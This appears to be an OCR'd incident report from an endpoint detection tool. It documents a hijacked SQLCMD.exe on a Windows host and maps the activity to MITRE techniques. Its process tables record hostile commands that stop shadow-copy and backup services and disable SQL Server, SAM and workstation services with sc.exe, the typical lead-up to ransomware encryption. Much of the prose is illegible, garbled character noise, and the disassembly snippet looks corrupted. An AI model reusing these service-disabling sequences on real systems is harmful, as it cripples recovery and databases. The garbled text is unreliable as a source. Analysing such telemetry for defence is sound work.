ptwdus po 29,8 Tsls ldeedss Jeesds ol 51 o 3> we lJeww wol.

sl sl dddadddds

Number of Incidents Machine Name Program Path Program Arguments

v 1 WCC-NOAH-TEST C:\Program Files\Microsoft SQL Server\Client SDKAODBC\130\Tools\Binn\,.. SQLCMD.EXE
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 6:46:59 PM EDT n ‘- o # Moonflower Razzmatazz Zonkey 74 False True False

wis Idlwetlole Idewedds wwessd 131 1Uleew po e 1dotoe 1Js o wess. swpel 1o
13158 Slisds wlbosewol Bloel wiled I 0o0sed luwes" sélJol pl swe lodlsol wesss Jpold.
slde e, 1duwl) o5 Tue leeolf oo 1Jluesl, Cyber Crucible 4.4.1.3. [pswt Josol 1UTo 1Jés,s s zee
wslole 1Jdslon 0 wes odilissl Jesole 1Uisld s [Jperds: sorass obldle 1U3ld s lJos wp
wedrsdol gldotss)lo |Udsys lJos .IDJiC'J edsol.

110 031 1Jose po 1Jetdesd pred JUElss: Jsl Blo 1dedbss 1Jlsds 1Jzss os Bzue lJepdsle sle
|JU0J6 d& Jscb IJP&JBPIQ JJCUOBJ &_J& Jd)é Ev |Ju»J33J§|u IJ.D)CJL./JDé k._JOI. sg_J,ol iL') |J&_[0J§6
ezd 1dob, ool os SQLCMD.exe 1JpsdEs: Bpo lJplde,uo 1o swust wones ol 15l Jlpe odo gpdss
SQL zes26 le gusslipusl po 3J4.



Parent Path Parent Arguments Child Path

C\Windows\System32\cmd.exe "CAWindows\system32\cmd.exe” C\Program Files\Microsoft SQL Server\Client SDKNODBC\130\Tools\Binn'
C\Windows\explorer.exe CA\Windows\Explorer.EXE C:\Program Files\Microsoft SQL Server\Client SDKNODBC\130\Tools\Binn'
C:\Program Files\Microsoft SQL Server\Client S... "CA\Program Files\Microsoft SQL Server\Client SDK\ODBCA130\Tools\Binn\... C\Program Files\Microsoft SQL Server\Client SDKNODBC\130\Tools\Binn'
C:\Program Files\Microsoft SQL Server\Client S... SQLCMD.EXE Ch\Windows\System32\net.exe

cos 1o IJ guss eds ol sle prud eedsle SQL ghss. Jl sors wldupss ol sos, Idsws s
espol. spe 3JI: Jl sezwol Tool 556 lslp, CMD peg,bs s Ipwezlole Tdss. sesol owepd 1Je, B

Parent Path Child Path Child Arguments

Ch\Windows\System32\net.exe CAWindows\System32\net 1.exe C\Windows\system32\net1 stop "vmicvss" jy
C\Program Files\Microsoft SQL Server\Client SDKNODBCA130\Tools\Binm\SQLCMD.exe CAWindows\System32\net.exe net.exe stop "VSS" fy

ChWindows\System32\net.exe CA\Windows\System32\net T.exe Ch\Windows\system32\net1 stop "V55" fy

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130VTools\Binm\SQLCMD.exe CA\Windows\System32\net.exe net.exe stop "WRSVC" fy

C\Windows\System32\net.exe CA\Windows\System32\net1.exe C\Windows\system32\net1 stop "WRSVC" fy
C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe CAWindows\System32\net.exe net.exe stop "UnistoreSve_5205e" fy
ChWindows\System32\net.exe CA\Windows\System32\net T.exe Ch\Windows\system32\net1 stop "UnistoreSve_5205e" fy
C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe CAWindows\System32\sc.exe scexe config "LanmanWorkstation” start= disabled
C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130YTools\Binm\SQLCMD.exe CAWindows\System32\sc.exe sc.exe config "MsDtsServer130" start= disabled
C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130VTools\Binm\SQLCMD.exe CA\Windows\System32\sc.exe sc.exe config "MSSQLSMSSQLSERVERO 1" start= disabled
C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe CAWindows\System32\sc.exe sc.exe config "MSSQLSERVER" start= disabled
C\Program Files\Microsoft SQL Server\Client SDKNODBCY130\Tools\Binm\SQLCMD.exe CAWindows\System32\sc.exe scexe config "sacsvr” start= disabled

C\Program Files\Microsoft SQL Server\Client SDK\NODBCY130\Tools\Binm\SQLCMD.exe CAWindows\System32\sc.exe scexe config "SamSs” start= disabled

C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130VTools\Binm\SQLCMD.exe CAWindows\System32\sc.exe sc.exe config "SQLAgentSMSSQLSERVERO 1" start= disabled
C:\Program Files\Microsoft SQL Server\Client SDK\ODBCY130\Tools\Binm\SQLCMD.exe CA\Windows\System32\sc.exe sc.exe config "SQLBrowser” start= disabled

(T [T !

_90| 09 S .,"s,oéJQL'ﬂ |,J|u.uc;'o)|_) d& |Jo|o)§J J_)_§.,"S¢"> IJPJ&.SJ 3|JPJ§J U |Jou38J§|u |Jrou'b|goi'>. JP.JJ
SQLCMD 1Jeosss sows JJ 1osle 1Jlsle, Jogbed 10esplo: sotss, 1lesdsle: sdJ ol spdo To
wdep wo ez lJdrss luweoldsh,
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&h

332e ebp, dword ptr [rsi]
393588555858 cmp dword ptr [58D95788h], esi
218d248eba2 and dword ptr [2F931832h], ecx
Bail3c or dh, byte ptr [rdx+3Ch]
a8bte2d5bc78376689 mov al, byte ptr [29803778BCDSE2BFh]
ef out dx, eax

Bdepea2232 or eax, 32228888h

884939 add byte ptr [rcx+3%h], cl
88341a add byte ptr [rdx+rbx], dh
e300 add eax, dword ptr [rax]
320268d68c131 xor dl, byte ptr [rdx+31C1688Dh]
Sh wait

fd std

daBa fimul dword ptr [rdx]

6d ins dword ptr [rdi], dx

237el@ and edi, dword ptr [rsi+18h]
fa cli

7ad5 JP 20e680008839027E

17 222

eg out

d3cl ecx, cl

7b5a i geeceo080a308299

29466d dword ptr [rsi+8Dh], eax

dword ptr [rdi]
gword ptr [rbp-6Bh]

o0l spJdool 1o 0det BIJ6 Letsb £pl sowlb,ol E0spl vwsl B lJwgpd swtdsd sdle 1318
(memory diffs). Gpelop lUIuwldsw lJedoss ey ,s wpl sIbs Joowiss wptss tasis



lpds sled 103186 pwedse lsupl owtese spiol sled 10316, sosl szed wrdsdol OlE ldustsws:
JIo ldswesd lJs wslole 1ddslow eo wes ldlupliss loow oldued dspwo Idos,s B 1dwg, s
£ds 1gsloe: 53509 B pools [Jgvdsdsle.

P00 0070 0700707

e zYu lJgpJsle (Process Injection)

e Mitre T1559 - spdo JJleuold wso lJepdsle (Inter-Process communication) 1o seot
Idowsbs eds 1Jepdss ldpuwworcss po dod [Jzes 1Jtldos et [dweld gpdss [Uzdo.

o Mitre T1106 - ¢lJofl ol wJso slzole wpes IJeobosdle 1Jlgedss (Native APIs) 1,0
sousds Jdswesd 1s sblsw vble IJogntsd eo led 1swesd 1s 1dedodle. sogntsd
lJepdslen sts, 3J3.

e Mitre T1569 - spJdo JJTdo S tops 0ble eod svchost pszess wldsed 1o stds e
lIJtose wrse sbo, sdloe sted po epdss peu9db 9p9e9d8.

o Mitre T1055 - zdu lJepdslor ssivetae ehs Jouvtsd bes tose sled gpdss poweords
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